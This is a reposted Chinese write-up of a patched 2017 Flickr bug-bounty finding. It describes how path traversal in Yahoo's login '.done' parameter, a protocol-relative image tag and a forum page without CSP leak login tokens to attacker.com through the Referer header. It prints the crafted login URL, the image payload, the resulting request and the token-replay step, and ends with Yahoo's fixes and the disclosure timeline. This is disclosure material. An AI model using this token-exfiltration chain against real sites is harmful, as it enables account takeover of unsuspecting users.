价值7k美刀的Flickr网站漏洞是怎么样的?
Flickr.com登錄流程概述 ? ?
Reizelman發(fā)現(xiàn)每次用戶登錄Flickr.com網(wǎng)站時(shí),都會(huì)被重定向到login.yahoo.com域用于身份驗(yàn)證。 ? ?
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/null ?
以上網(wǎng)址是Yahoo帳戶登錄頁(yè)面,用戶被提示輸入他的賬戶密碼。輸入賬戶密碼并單擊登錄后,如果賬戶密碼有效,則將其重定向到以下Flickr url:
??https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value }
Reizelman通過(guò)觀察,如果用戶已經(jīng)登錄到Y(jié)ahoo,再點(diǎn)擊登錄鏈接:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/?
驗(yàn)證的流程發(fā)生在后臺(tái),用戶不需要在Yahoo域輸入他的賬戶密碼,即可完成flickr網(wǎng)站登錄認(rèn)證。?
這種的驗(yàn)證方式可能引發(fā)其他用戶的賬戶被黑客接管,因?yàn)橛脩糁恍椟c(diǎn)擊單個(gè)鏈接(如在某些OAuth實(shí)現(xiàn)中)來(lái)進(jìn)行身份驗(yàn)證,這樣他就可以進(jìn)行身份驗(yàn)證。熟悉了登錄的流程,進(jìn)行尋找是否有會(huì)被他人賬戶被黑客接管的風(fēng)險(xiǎn)。?
通過(guò)以上的url我發(fā)現(xiàn),我可以控制.done這個(gè)參數(shù),該參數(shù)控制了登錄token的發(fā)送位置,看起來(lái)雅虎只驗(yàn)證https://www.flickr.com/signin/yahoo/這種開(kāi)頭的域,但是我們?nèi)匀豢梢愿郊?./所以如果我們將../../test附加到.done參數(shù) .ys及.data的Token將被發(fā)送到https://www.flickr.com/test頁(yè)面。?
這給了我一個(gè)引導(dǎo),假如我在ww.flickr.com找到一個(gè)重定向,我就可以把Token發(fā)送到我控制的服務(wù)器,但是無(wú)法在www.flickr.com主域找到一個(gè)重定向漏洞,所以我尋找其他的辦法。
經(jīng)過(guò)一番查找,我找到了這個(gè)頁(yè)面:https://www.flickr.com/html.gne?tighten=0&type=comment,可以在Flickr評(píng)論頁(yè)面中插入圖片。我覺(jué)得也許可以在評(píng)論插入一個(gè)外鏈圖片,Toeken將通過(guò)referer字段發(fā)送到我控制的機(jī)器上,我發(fā)表了一個(gè)評(píng)論插入了圖片。
??????/img?src=“https://attacker.com/someimage.jpg”/該圖像確實(shí)插入在評(píng)論中了,但是src值成如下連接:
https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA-~C
這實(shí)際是雅虎的代理,把用戶上傳圖片,自己保存,通過(guò)代理的方式來(lái)加載顯示,不去請(qǐng)求外部的服務(wù)器。但是,如果我使用一些技巧,我可以操縱Flickr圖像處理邏輯。發(fā)布了以下評(píng)論:
??/img?src=“//www.attacker.com/someimage.jpg”/該注釋未被代理操作,并且src保持原樣,按理說(shuō)圖片會(huì)顯示在評(píng)論中,但是,有遇到一個(gè)問(wèn)題了,網(wǎng)站使用了Content-Security-Policy(CSP),img-src屬性定義了,只能從以下的網(wǎng)站加載圖片。因?yàn)槲覀儾迦雸D片的網(wǎng)址不是白名單內(nèi)的,是無(wú)法加載的。
Content-Security-Policy:img-src?data:?blob:? https://*.flickr.com? https://*.flickr.net? http://*.flickr.net? https://*.staticflickr.com? http://*.staticflickr.com? https://*.yimg.com? https://*.yahoo.com? https://*.cedexis.com? https://*.cedexis-test.com? https://*.cedexis-radar.net? https://sb.scorecardresearch.com? https://image.maps.api.here.com? https://csync.yahooapis.com? https://*.paypal.com? https://*.pinterest.com? http://*.static-alpha.flickr.com? https://geo-um.btrll.com? https://connect.facebook.net? https://*.facebook.com? https://bs.serving-sys.com? https://*.adserver.yahoo.com? https://*.maps.api.here.com? https://*.maps.cit.api.here.com? https://*.ads.yahoo.com? https://secure.footprint.net知道這一點(diǎn)后,我嘗試在其他頁(yè)面尋找可評(píng)論的地方,過(guò)了一段時(shí)間,找到了一個(gè)論壇頁(yè)面,www.flickr.com/help/forum/en-us/。這個(gè)頁(yè)面支持HTML代碼插入功能的評(píng)論,更爽的是https://www.flickr.com/help/forum/*這個(gè)網(wǎng)站都沒(méi)用使用CSP。
所以我在論壇發(fā)布了以下評(píng)論: ?/?img?src?=“?/??/?www.attacker.com/someimage.jpg”/一個(gè)外部的圖片被插入到這里:
https://www.flickr.com/help/forum/en-us/72157668446997150/page14/
所以我現(xiàn)在要做的就是構(gòu)造最終的url,如下:
https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https://www.flickr.com/signin/yahoo/../?../help/forum/en-us/72157668446997150/page14/當(dāng)用戶點(diǎn)擊鏈接時(shí)他被重定向到https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second -token},在這個(gè)請(qǐng)求中,他向?yàn)g覽器發(fā)出來(lái)了如下的請(qǐng)求。
GET?https://www.attacker.com/someimage.jpg?HTTP/1.1Host:?www.attacker.comConnection:?keep-aliveUser-Agent:?Mozilla/5.0?(Windows?NT?10.0;?Win64;?x64)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/56.0.2924.87????Safari/537.36Accept:?image/webp,image/*,*/*;q=0.8Referer:?https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-token}&.ys={second-token}?Accept-Encoding:?gzip,?deflate,?sdch,?brAccept-Language:?he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.可以看到Referer字段的含有.data={some-token}&.ys={second-token},將要發(fā)送到指定的網(wǎng)址,而這個(gè)網(wǎng)站是我們控制的,可以拿到Rerferer信息。
攻擊者通過(guò)referer拿到token之后,構(gòu)造攻擊url,如下
https://www.flickr.com/signin/yahoo/?.data={copied?from?refferer}&。ys?=?{replied?referer即可登錄到受害者的賬戶。
修復(fù)
雅虎通過(guò)以下的辦法來(lái)解決這個(gè)漏洞。
1. login.yahoo.com端點(diǎn)上的.done參數(shù)僅允許https://www.flickr.com/signin/yahoo/作為有效值。
2.使用“/ ?/ ”的插入的圖片也是固定的。
3.現(xiàn)在CSP應(yīng)用于Flickr論壇。
修復(fù)時(shí)間線
2017年4月2日 – ?通過(guò)Hackerone的初步報(bào)告
2017年4月3日 – ?報(bào)告舉報(bào)
2017年4月10日 – 報(bào)告已解決
2017年4月21日 – 7K $獎(jiǎng)賞獎(jiǎng)勵(lì)
原文發(fā)布時(shí)間為:2017年5月4日 本文作者:愣娃 本文來(lái)自云棲社區(qū)合作伙伴嘶吼,了解相關(guān)信息可以關(guān)注嘶吼網(wǎng)站。 原文鏈接
總結(jié)
以上是生活随笔為你收集整理的价值7k美刀的Flickr网站漏洞是怎么样的?的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: java中block标签_[Java教程
- 下一篇: 基于winsock的局域网聊天室实现